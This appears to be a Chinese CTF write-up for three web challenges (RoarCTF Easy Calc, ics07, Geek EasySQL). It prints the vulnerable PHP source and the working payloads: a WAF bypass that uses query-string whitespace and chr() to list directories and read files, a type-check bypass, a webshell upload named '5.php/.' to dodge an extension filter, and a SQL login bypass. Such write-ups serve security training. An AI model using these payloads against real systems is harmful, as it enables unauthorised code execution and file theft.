[RoarCTF 2019]Easy Calc
进入题目是一个计算器的功能
检查网页源码发现这样一个重要信息
这题有WAF计算功能是通过calc.php这里面的代码执行的,我们去访问一下得到源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>
这边过滤了很多的东西,并且经过测试发现只能输入数字,那么我们该如何绕过这个隐藏的WAF?补充如下知识点
PHP字符串解析特性绕过WAF输入时发现num只能输入数字,输入字符无法解析。
PHP需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。
根据php这个特性我们构造payload,由于"" 和\ 被过滤那么我们使用asscii码值来绕过
?%20num=var_dump(scandir(chr(47)))
接下来我们把flag读出来就行
?%20num=var_dump(file_get_contents(chr(47).f1agg))
ics07
进入环境发现只有这个能点进去我们继续看
点击这个源码直接给了我们,源码内容如下
<?phpsession_start();if (!isset($_GET[page])) {show_source(__FILE__);die();}if (isset($_GET[page]) && $_GET[page] != 'index.php') {include('flag.php');}else {header('Location: ?page=flag.php');}
?><?phpif ($_SESSION['admin']) {$con = $_POST['con'];$file = $_POST['file'];$filename = "backup/".$file;if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){die("Bad file extension");}else{chdir('uploaded');$f = fopen($filename, 'w');fwrite($f, $con);fclose($f);}}
?><?phpif (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {include 'config.php';$id = mysql_real_escape_string($_GET[id]);$sql="select * from cetc007.user where id='$id'";$result = mysql_query($sql);$result = mysql_fetch_object($result);} else {$result = False;die();}if(!$result)die("<br >something wae wrong ! <br>");if($result){echo "id: ".$result->id."</br>";echo "name:".$result->user."</br>";$_SESSION['admin'] = True;}
?>
根据第一段代码我们先给page赋个值,然后将flag.php包含进去,payload如下
?page=flag.php
然后我们来分析第二段代码
<?phpif ($_SESSION['admin']) {$con = $_POST['con'];$file = $_POST['file'];$filename = "backup/".$file;if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){die("Bad file extension");}else{chdir('uploaded');$f = fopen($filename, 'w');fwrite($f, $con);fclose($f);}}
?>
利用点就在上面这串代码中,这里先把文件名拼接到backup目录下,然后正则匹配,这里正则的意思是:匹配最后一个点后面的后缀,然后下面的else里面又更改了当前目录。但是如果要利用这段代码session[‘admin’]必须为true
然后我们看一下第三段代码
<?phpif (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {include 'config.php';$id = mysql_real_escape_string($_GET[id]);$sql="select * from cetc007.user where id='$id'";$result = mysql_query($sql);$result = mysql_fetch_object($result);} else {$result = False;die();}if(!$result)die("<br >something wae wrong ! <br>");if($result){echo "id: ".$result->id."</br>";echo "name:".$result->user."</br>";$_SESSION['admin'] = True;}
?>
通过这段代码发现只需要result有值我们就可以上传文件了,一开始我的思路是通过sql注入完成但是失败了,这时候我们看一下sql查询的条件
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9')
首先需要传一个id的值并且将id转换为浮点数不全等于1并且最后一位数字是9
这里的绕过方法就比较简单了使用如下payload便可以轻松绕过
?id=1(9
然后通过POST方式写入con和file,一个为文件内容一个为文件路径,又因为有正则匹配的过滤,我们将文件名取名为5.php/.,又因为这是Linux操作系统所以可以解析那么接下来我们上传文件即可
然后我们访问一下马注意路径为**/uploaded/backup/5.php**
发现flag
[极客大挑战 2019]EasySQL
根据题目提示easysql很容易就想到这题是sql注入漏洞
进入环境是一个用户登录界面,既然题目提示了是sql注入那我先测试测试万能密码
成功登录,这边就考察的是sql的万能密码